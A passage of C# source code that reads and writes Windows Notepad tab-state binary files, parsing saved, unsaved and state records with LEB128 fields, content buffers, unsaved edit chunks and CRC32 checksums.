351 | var fPathBytes = reader.ReadBytes((int)FilePathLength * 2);
352 | c.AddBytes(fPathBytes);
353 |
354 | FilePath = Encoding.Unicode.GetString(fPathBytes);
355 |
356 | SavedFileContentLength = reader.ReadLEB128Unsigned();
357 | c.AddBytes(SavedFileContentLength);
358 |
359 | EncodingType = reader.ReadBytes(1);
360 | c.AddBytes(EncodingType);
361 |
362 | CarriageReturnType = reader.ReadBytes(1);
363 | c.AddBytes(CarriageReturnType);
364 |
365 | var timeStamp = reader.ReadLEB128Unsigned();
366 | c.AddBytes(timeStamp);
367 | if (timeStamp > 0)
368 | {
369 | Timestamp = DateTime.FromFileTime((long)timeStamp);
370 | }
371 |
372 | FileHashStored = reader.ReadBytes(32);
373 | c.AddBytes(FileHashStored);
374 |
375 | var delim1 = reader.ReadBytes(2); //Unknown / Delimiter / 0x00 0x01 //TODO: Maybe check for when this doesn't fit the assumed?
376 | c.AddBytes(delim1);
377 |
378 | SelectionStartIndex = reader.ReadLEB128Unsigned();
379 | c.AddBytes(SelectionStartIndex);
380 | SelectionEndIndex = reader.ReadLEB128Unsigned();
381 | c.AddBytes(SelectionEndIndex);
382 |
383 | WordWrap = reader.ReadBytes(1);
384 | c.AddBytes(WordWrap);
385 |
386 | RightToLeft = reader.ReadBytes(1);
387 | c.AddBytes(RightToLeft);
388 |
389 | ShowUnicode = reader.ReadBytes(1);
390 | c.AddBytes(ShowUnicode);
391 |
392 | OptionCount = reader.ReadLEB128Unsigned();
393 | c.AddBytes(OptionCount);
394 |
395 | //Read Extra Options
396 | Options = reader.ReadBytes((int)OptionCount);
397 | c.AddBytes(Options);
398 |
399 | ContentLength = reader.ReadLEB128Unsigned();
400 | c.AddBytes(ContentLength);
401 | Content = reader.ReadBytes((int)ContentLength * 2);
402 | c.AddBytes(Content);
403 |
404 | Unsaved = reader.ReadBytes(1);
405 | c.AddBytes(Unsaved);
406 |
407 | CRC32Stored = reader.ReadBytes(4);
408 | CRC32Calculated = c.CRC32;
409 | }
410 | break;
411 | default: //State File
412 | {
413 | CRC32Check c = new CRC32Check();
414 | c.AddBytes(SequenceNumber);
415 | c.AddBytes(TypeFlag);
416 |
417 | var un1 = reader.ReadBytes(1); //Unknown / Delimiter / 0x00
418 | c.AddBytes(un1);
419 |
420 | BinSize = reader.ReadLEB128Unsigned();
421 | c.AddBytes(BinSize);
422 |
423 | SelectionStartIndex = reader.ReadLEB128Unsigned();
424 | c.AddBytes(SelectionStartIndex);
425 | SelectionEndIndex = reader.ReadLEB128Unsigned();
426 | c.AddBytes(SelectionEndIndex);
427 |
428 | WordWrap = reader.ReadBytes(1);
429 | c.AddBytes(WordWrap);
430 |
431 | RightToLeft = reader.ReadBytes(1);
432 | c.AddBytes(RightToLeft);
433 |
434 | ShowUnicode = reader.ReadBytes(1);
435 | c.AddBytes(ShowUnicode);
436 |
437 | OptionCount = reader.ReadLEB128Unsigned();
438 | c.AddBytes(OptionCount);
439 |
440 | //Read Extra Options
441 | Options = reader.ReadBytes((int)OptionCount);
442 | c.AddBytes(Options);
443 |
444 | CRC32Stored = reader.ReadBytes(4);
445 | CRC32Calculated = c.CRC32;
446 | }
447 | break;
448 | }
449 |
450 |
451 | #region Unsaved Buffer
452 | while (reader.BaseStream.Length > reader.BaseStream.Position)
453 | {
454 | CRC32Check c = new CRC32Check();
455 |
456 | var charPos = reader.ReadLEB128Unsigned();
457 | c.AddBytes(charPos);
458 |
459 | var charDeletion = reader.ReadLEB128Unsigned();
460 | c.AddBytes(charDeletion);
461 |
462 | var charAddition = reader.ReadLEB128Unsigned();
463 | c.AddBytes(charAddition);
464 |
465 | var charAdded = reader.ReadBytes((int)charAddition * 2);
466 | c.AddBytes(charAdded);
467 |
468 | UnsavedBufferChunk chnk = new UnsavedBufferChunk(FileName, charPos, charDeletion, charAddition, charAdded, reader.ReadBytes(4), c.CRC32);
469 | UnsavedBufferChunks.Add(chnk);
470 | }
471 | #endregion
472 | }
473 | else
474 | {
475 | throw new Exception("Invalid Header Bytes");
476 | }
477 | }
478 | }
479 | }
480 |
481 | private void Save() //TODO: Expose this?
482 | {
483 | using (MemoryStream outStream = new MemoryStream())
484 | {
485 | using (BinaryWriter writer = new BinaryWriter(outStream))
486 | {
487 | writer.Write([0x4E, 0x50]);
488 | writer.Write(SequenceNumber.WriteLEB128Unsigned());
489 | writer.Write(TypeFlag.WriteLEB128Unsigned());
490 |
491 | switch (TypeFlag)
492 | {
493 | case 0: //Unsaved File
494 | {
495 | CRC32Check c = new CRC32Check();
496 | c.AddBytes(TypeFlag);
497 |
498 | writer.Write(Unsaved);
499 | c.AddBytes(Unsaved);
500 |
501 | writer.Write(SelectionStartIndex.WriteLEB128Unsigned());
502 | c.AddBytes(SelectionStartIndex);
503 |
504 | writer.Write(SelectionEndIndex.WriteLEB128Unsigned());
505 | c.AddBytes(SelectionEndIndex);
506 |
507 | writer.Write(WordWrap);
508 | c.AddBytes(WordWrap);
509 |
510 | writer.Write(RightToLeft);
511 | c.AddBytes(RightToLeft);
512 |
513 | writer.Write(ShowUnicode);
514 | c.AddBytes(ShowUnicode);
515 |
516 | writer.Write(OptionCount);
517 | c.AddBytes(OptionCount);
518 |
519 | //Write Extra Options
520 | if (OptionCount > 0)
521 | {
522 | writer.Write(Options);
523 | c.AddBytes(Options);
524 | }
525 |
526 | writer.Write(ContentLength.WriteLEB128Unsigned());
527 | c.AddBytes(ContentLength);
528 |
529 | writer.Write(Content);
530 | c.AddBytes(Content);
531 |
532 | writer.Write(Unsaved);
533 | c.AddBytes(Unsaved);
534 |
535 | CRC32Stored = c.CRC32;
536 | CRC32Calculated = c.CRC32;
537 | writer.Write(CRC32Stored);
538 | break;
539 | }
540 | case 1: //Saved File
541 | {
542 | CRC32Check c = new CRC32Check();
543 | c.AddBytes(TypeFlag);
544 |
545 | writer.Write(FilePathLength.WriteLEB128Unsigned());
546 | c.AddBytes(FilePathLength);
547 |
548 | writer.Write(Encoding.Unicode.GetBytes(FilePath));
549 | c.AddBytes(Encoding.Unicode.GetBytes(FilePath));
550 |
551 | writer.Write(SavedFileContentLength.WriteLEB128Unsigned());
552 | c.AddBytes(SavedFileContentLength);
553 |
554 | writer.Write(EncodingType);
555 | c.AddBytes(EncodingType);
556 |
557 | writer.Write(CarriageReturnType);
558 | c.AddBytes(CarriageReturnType);
559 |
560 | DateTime dt = (DateTime)Timestamp;
561 |
562 | writer.Write(((ulong)dt.ToFileTime()).WriteLEB128Unsigned());
563 | c.AddBytes((ulong)dt.ToFileTime());
564 |
565 | writer.Write(FileHashStored);
566 | c.AddBytes(FileHashStored);
567 |
568 | writer.Write([0x00, 0x01]);
569 | c.AddBytes([0x00, 0x01]);
570 |
571 | writer.Write(SelectionStartIndex.WriteLEB128Unsigned());
572 | c.AddBytes(SelectionStartIndex);
573 | writer.Write(SelectionEndIndex.WriteLEB128Unsigned());
574 | c.AddBytes(SelectionEndIndex);
575 |
576 | writer.Write(WordWrap);
577 | c.AddBytes(WordWrap);
578 |
579 | writer.Write(RightToLeft);
580 | c.AddBytes(RightToLeft);
581 |
582 | writer.Write(ShowUnicode);
583 | c.AddBytes(ShowUnicode);
584 |
585 | writer.Write(OptionCount.WriteLEB128Unsigned());
586 | c.AddBytes(OptionCount);
587 |
588 | //Write Extra Options
589 | if (OptionCount > 0)
590 | {
591 | writer.Write(Options);
592 | c.AddBytes(Options);
593 | }
594 |
595 | writer.Write(ContentLength.WriteLEB128Unsigned());
596 | c.AddBytes(ContentLength);
597 |
598 | writer.Write(Content);
599 | c.AddBytes(Content);
600 |
601 | writer.Write(Unsaved);
602 | c.AddBytes(Unsaved);
603 |
604 | CRC32Stored = c.CRC32;
605 | CRC32Calculated = c.CRC32;
606 | writer.Write(CRC32Stored);
607 | break;
608 | }
609 | default: //State File 0.bin/1.bin
610 | {
611 | CRC32Check c = new CRC32Check();
612 | c.AddBytes(SequenceNumber);
613 | c.AddBytes(TypeFlag);
614 |
615 | writer.Write([0x00]);
616 | c.AddBytes([0x00]);
617 |
618 | writer.Write(BinSize.WriteLEB128Unsigned());
619 | c.AddBytes(BinSize);
620 |
621 | writer.Write(SelectionStartIndex.WriteLEB128Unsigned());
622 | c.AddBytes(SelectionStartIndex);
623 | writer.Write(SelectionEndIndex.WriteLEB128Unsigned());
624 | c.AddBytes(SelectionEndIndex);
625 |
626 | writer.Write(WordWrap);
627 | c.AddBytes(WordWrap);
628 |
629 | writer.Write(RightToLeft);
630 | c.AddBytes(RightToLeft);
631 |
632 | writer.Write(ShowUnicode);
633 | c.AddBytes(ShowUnicode);
634 |
635 | writer.Write(OptionCount);
636 | c.AddBytes(OptionCount);
637 |
638 | //Write Extra Options
639 | if (OptionCount > 0)
640 | {
641 | writer.Write(Options);
642 | c.AddBytes(Options);
643 | }
644 |
645 | CRC32Stored = c.CRC32;
646 | CRC32Calculated = c.CRC32;
647 | writer.Write(CRC32Stored);
648 | break;
649 | }
650 | }
651 |
652 | foreach (UnsavedBufferChunk chnk in UnsavedBufferChunks)
653 | {
654 | writer.Write(chnk.CursorPosition.WriteLEB128Unsigned());
655 | writer.Write(chnk.DeletionAction.WriteLEB128Unsigned());
656 | writer.Write(chnk.AdditionAction.WriteLEB128Unsigned());
657 | if (chnk.AdditionAction > 0)
658 | {
659 | writer.Write(chnk.CharactersAdded); //TODO: Verify this
660 | }
661 | writer.Write(chnk.CRC32Stored);
662 | }
663 |
664 | bytes = outStream.ToArray();
665 | }
666 | }
667 | }
668 | }
669 | }
670 |
--------------------------------------------------------------------------------